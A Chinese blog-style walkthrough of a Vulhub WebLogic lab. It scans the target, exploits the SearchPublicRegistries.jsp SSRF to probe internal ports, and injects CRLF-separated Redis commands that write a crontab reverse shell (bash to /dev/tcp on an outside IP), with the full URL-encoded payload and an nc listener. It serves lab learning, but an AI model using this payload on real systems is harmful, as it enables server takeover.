文接上回
vubhub漏洞—weblogic RCE_ErYao7的博客-CSDN博客一开始只知道一个IP212.129.248.63使用nmap扫描开放的端口经过尝试我们发现 7001 端口是我们的要打的靶机漏洞使用 Xary 扫描xray_windows_amd64.exe webscan --url http://212.129.248.63:7001/ --html-output 1203.html漏洞利用...https://blog.csdn.net/weixin_45808483/article/details/121689242?spm=1001.2014.3001.5501
Xray扫描
WeblogicScan扫描https://github.com/rabbitmask/WeblogicScan
SSRF漏洞测试
SSRF漏洞存在于 http://ip:7001/uddiexplorer/SearchPublicRegistries.jsp
向服务器提交以下参数
?rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search&operator=http://127.0.0.1:7001
可访问的端口将会得到错误,一般是返回status code(如下图),如果访问的非http协议,则会返回:did not have a valid SOAP content-type
正常我们是无法访问内网的,但是通过页面返回错误的不同,我们可以探测内网端口的开放状态,进而知道内网
开启的服务,同时加以利用
注入HTTP头,利用Redis反弹Shell
Weblogic的SSRF有一个比较大的特点,我们可以通过传入%0D%0A来注入换行符,
而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。
首先,通过ssrf探测内网中的redis服务器,应为这个漏洞是用docker环境搭建的,所以redis服务器的内网即是
docker的网段(docker环境的网段一般是172.*):
我这里的靶机上的docker环境的网段是 172.21.0.2(可以通过脚本跑,我并没有拿脚本跑出来,所以直接就在靶机上看了一下)
发送三条redis命令,将弹shell脚本写入/etc/crontab:
dev/tcp / 反弹目标的ip / 端口
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/123.56.82.231/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
把这三条命令通过POST包注入进去,先要将命令用url进行编码
再将编码后payload中的%0A替换成%0D%0A,前面提到了
redis是通过换行符来分隔每条命令
test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F123.56.82.231%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
在反弹的目标上监听21端口,等待连接
nc -lvnp 21
成功执行 ps 命令 ,看到了 redis-server 进程